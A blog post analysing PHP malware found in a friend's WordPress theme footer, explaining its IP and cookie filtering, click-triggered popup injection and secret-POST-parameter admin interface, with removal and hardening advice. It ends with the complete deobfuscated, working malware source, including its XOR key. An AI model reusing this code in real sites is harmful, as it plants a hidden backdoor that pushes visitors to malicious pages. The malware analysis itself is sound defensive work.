Deobfuscating Wordpress Malware
While browsing a friends website, I recognized malicious popups that opened up. It was hard to reproduce, because they showed up quite rarely and my friend never noticed them. Fortunately, I could convince her to have a look into her website by myself so I could analyze it and try to gain security.
I noticed strange, minified PHP-Code in the footer.php
of the used theme. After reformatting was done,
analyzing it was quite easy.
Activity
T he malware has an IP based filter to show the popup just to new users. That’s why I was not able to reproduce it. In Addition to that, it checks for certain Wordpress cookies. That’s the reason my friend has never seen the popup.
If those tests fail, the malware injects Javascript into the page, which opens a Popup after the first click.
But that is not the only feature: The malware has a small Administration interface.
The attacker can change the website that opens up and read out the current one. By sending a POST-Request with
8Yx5AefYpBp07TEocRmv=MaliciousWebsite.com
as parameter, http://maliciouswebsite.com is set. Adding the
parameter https=true
leads to https://maliciouswebsite.com.
The XORed and base64-encoded url is written into .SIc7CYwgY
or /var/tmp/.SIc7CYwgY
,
if writing in the first file is not available.
If the POST-Request has the parameter 6FoNxbvo73BHOjhxokW3
the current URL is decoded and printed out.
A longer and more detailed report as well as the commented and formatted source code can be found at the end of the article.
Intrusion Response & Prevention
To remove the malware, it should be enough to delete the malicious part out of the footer.php
and remove the
created files.
In Addition to that, you should definitely check the how the intruder came into your Wordpress. Change all the passwords, and have a look around for obscure Wordpress Plugins or themes that you did not install. Furthermore, have a look into your uploads folder for other, malicious files.
It is important to have Wordpress up-to-date, as the updates often fix security related issues. For system hardening, you can identify possible issues with the open source tool wpscan.
While searching for the malware, I found several related variants, but the source code differs. Both blog posts provide some security advices for Wordpress.
Detailed Report
Activity
If cookies with the keys wordpress_logged
, wp-settings
or wordpress_test
are set,
the malware aborts.
Otherwise, it checks whether the IP of the user exists in the file ips1.txt
.
After that, it checks the IP File. If it contains more then 3000 IPs, it is truncated.
If the IP existed, the malware exits. Otherwise, it adds the IP to this file and decrypts the
domain, which was set. Now, Javascript is injected into the website, which will set an onClick
-Listener for the Document.
After the first click, a popup opens with the decoded domain.
Administration Interface
There are two methods for administration: Reading out the current URL or setting a new one.
Post Request with 6FoNxbvo73BHOjhxokW3
:
If a Post Request with this parameter is sent, the domain will be read out of the configuration files and printed in plain text.
Post Request with 8Yx5AefYpBp07TEocRmv
:
If a Post Request with this parameter is sent, a new domain is set and the $_POST
-Array is printed.
The content of 8Yx5AefYpBp07TEocRmv
is the new domain in plain text without http(s).
If the Post parameter https
is set, HTTPS is used. Otherwise, HTTP is used. The domain is written into the config file.
It is obscured with first an xor-operation with the XOR Key. The result is base64 encoded.
Created Files
.SIc7CYwgY
- Stores current domain, encrypted/var/tmp/.SIc7CYwgY
- Fallback for.SIc7CYwgY
.ips1.txt
- IPs of User, that already got a Popup/var/tmp/.ips1.txt
- Fallback for.ips1.txt
Other
XOR Key:
KQzLStQQblMU3rBGqFyEn8LlEWZ1G4vbK7YcpfZKrjaUQhP3sQKJHKaVLtr0H8RSP
PqbDqfNEQ0Yu08mHsI77NGcU5rbsMLNWwlqDXmM5E9WqY73rBvXwj5GkQay2wnuGc4w
FKYyYLMEhQDAG60aeYudKtUSUXDHYG912g0VWlYob3lycp0eC1QnoQe3xsWPbA3e1ZWY
Domains are obscured by an XOR Operation with the key and base64 encoded after that.
Code
Introduction
There exist several unreachable statements, for example to redirect US based users to Google instead of the malicious site or, my personal highlight in the redirect function:
$r = rand(5, 20);
sleep($r);
echo "<meta http-equiv='refresh' content='0; url=$url' />";
die();
die("<script type='text/javascript'>window.location = '$url'</script>");
The intention is obviously to have the redirect happen after 5 to 20 seconds, but since it is PHP, the page would just not stop loading for this time, and then have a redirect with javascript to the malicious url.
Imho, that indicates not a good insight into PHP.
Malware
<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?><?php
error_reporting(E_ALL);
$DOMAIN_FNAME1_7QNG = '.SIc7CYwgY'; // File to store current URL
$DOMAIN_FNAME2_7QNG = '/var/tmp/.SIc7CYwgY';
if (isset($_POST['6FoNxbvo73BHOjhxokW3'])) // "Admin Key" to read current URL
{
check_status($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
return;
} else
if (isset($_POST['8Yx5AefYpBp07TEocRmv'])) // "Admin Key" to write new URL
{
$domain = $_POST['8Yx5AefYpBp07TEocRmv'];
echo "$domain\n";
var_dump($_POST);
if (isset($_POST['https'])) {
$domain = "https://$domain";
} else {
$domain = "http://$domain";
}
echo $domain;
save_str($domain, $DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
return;
} else {
$keys = array_keys($_COOKIE);
$cookies = implode($keys);
// If User is logged in or similar, do nothing
if (strpos($cookies, "wordpress_logged") !== false || strpos($cookies, "wp-settings") !== false || strpos($cookies, "wordpress_test") !== false) {
} else {
onClientConnect($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
}
}
function ip_is_there($fname1, $fname2, $ip)
{
if (!file_exists($fname1) && !file_exists($fname2)) {
return false;
}
$contains = false;
$file = fopen($fname1, 'r');
if (!$file) {
$file = fopen($fname2, 'r');
}
if (!$file) {
return;
}
while (!feof($file)) {
$line = fgets($file);
if (strpos($line, $ip) !== false) {
$contains = true;
break;
}
}
fclose($file);
return $contains;
}
function add_ip($fname1, $fname2, $ip)
{
$file = fopen($fname1, 'a');
if (!$file) {
$file = fopen($fname2, 'a');
}
if (!$file) {
return;
}
fwrite($file, $ip);
fwrite($file, "\n");
fclose($file);
}
/**
* Checks if IP exists, if yes, nothing is shown. If not, Popup Code is injected and IP is added.
* If more then 3000 IPs exist, file is deleted.
* @param $DOMAIN_FNAME1_7QNG
* @param $DOMAIN_FNAME2_7QNG
*
*/
function onClientConnect($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG)
{
$ip = $_SERVER['REMOTE_ADDR'];
$file1 = "./.ips1.txt";
$file1_b = "/var/tmp/.ips1.txt";
$isIn1 = false;
$isIn2 = false;
if (ip_is_there($file1, $file1_b, $ip)) {
$isIn1 = true;
}
count_lines_and_truncate($file1, $file1_b);
if (!$isIn1) {
add_ip($file1, $file1_b, $ip);
$domain = read_str($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
redirect($domain);
}
return;
if (!$isIn1) {
add_ip($file1, $file1_b, $ip);;
} else
if ($isIn1 && !$isIn2) {
if (is_usa_ip($_SERVER['REMOTE_ADDR'])) {
$domain = read_str($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
$domain = "http://www.google.com/";
redirect($domain);
}
} else {
return;
}
}
/**
* Count lines of a file, if it has more then 3000, file is truncated
* @param $fname1
* @param $fname2
* @return int
*/
function count_lines_and_truncate($fname1, $fname2)
{
if (!file_exists($fname1) && !file_exists($fname2)) {
return 0;
}
$line_count = 0;
$file = fopen($fname1, 'r');
$fname = $fname1;
if (!$file) {
$file = fopen($fname2, 'r');
$fname = $fname2;
}
if (!$file) {
return 0;
}
while (!feof($file)) {
$line = fgets($file);
$line_count++;
}
if ($line_count > 3000) {
unlink($fname);
ftruncate($file, 0);
}
fclose($file);
return $line_count;
}
function xor_enc($str)
{
$key = 'KQzLStQQblMU3rBGqFyEn8LlEWZ1G4vbK7YcpfZKrjaUQhP3sQKJHKaVLtr0H8RSPPqbDqfNEQ0Yu08mHsI77NGcU5rbsMLNWwlqDXmM5E9WqY73rBvXwj5GkQay2wnuGc4wFKYyYLMEhQDAG60aeYudKtUSUXDHYG912g0VWlYob3lycp0eC1QnoQe3xsWPbA3e1ZWY';
$res = '';
for ($i = 0; $i < strlen($str); $i++) {
$res .= chr(ord($str[$i]) ^ ord($key[$i]));
}
return $res;
}
function enc($str)
{
$res = xor_enc($str);
$res = base64_encode($res);
return $res;
}
function dec($str)
{
$str = base64_decode($str);
$res = xor_enc($str);
return $res;
}
function show_popup($url)
{
echo "
<script type='text/javascript'>
var t = false;
document.onclick= function(event) {
if (t) {
return;
}
t = true;
if ( event === undefined) event= window.event;
var target= 'target' in event? event.target : event.srcElement;
var win = window.open('$url', '_blank');
win.focus();
};
</script>
";
}
function redirect($url)
{
show_popup($url);
return;
$r = rand(5, 20);
sleep($r);
echo "<meta http-equiv='refresh' content='0; url=$url' />";
die();
die("<script type='text/javascript'>
window.location = '$url'
</script>");
}
function check_status($df1, $df2)
{
$domain = read_str($df1, $df2);
echo "Domain is: $domain\n";
}
function read_str($fname1, $fname2)
{
$file = fopen($fname1, 'r');
$name = $fname1;
if (!$file) {
$name = $fname2;
$file = fopen($fname2, 'r');
}
if (!$file) {
return;
}
$str = fread($file, filesize($name));
$str = dec($str);
fclose($file);
return $str;
}
function save_str($str, $fname1, $fname2)
{
$file = fopen($fname1, 'w');
if (!$file) {
$file = fopen($fname2, 'w');
}
if (!$file) {
return;
}
$str = enc($str);
fwrite($file, $str);
fclose($file);
} ?>
<?php /* uqjsQSyWVhmOHAEVa1i6 */ ?>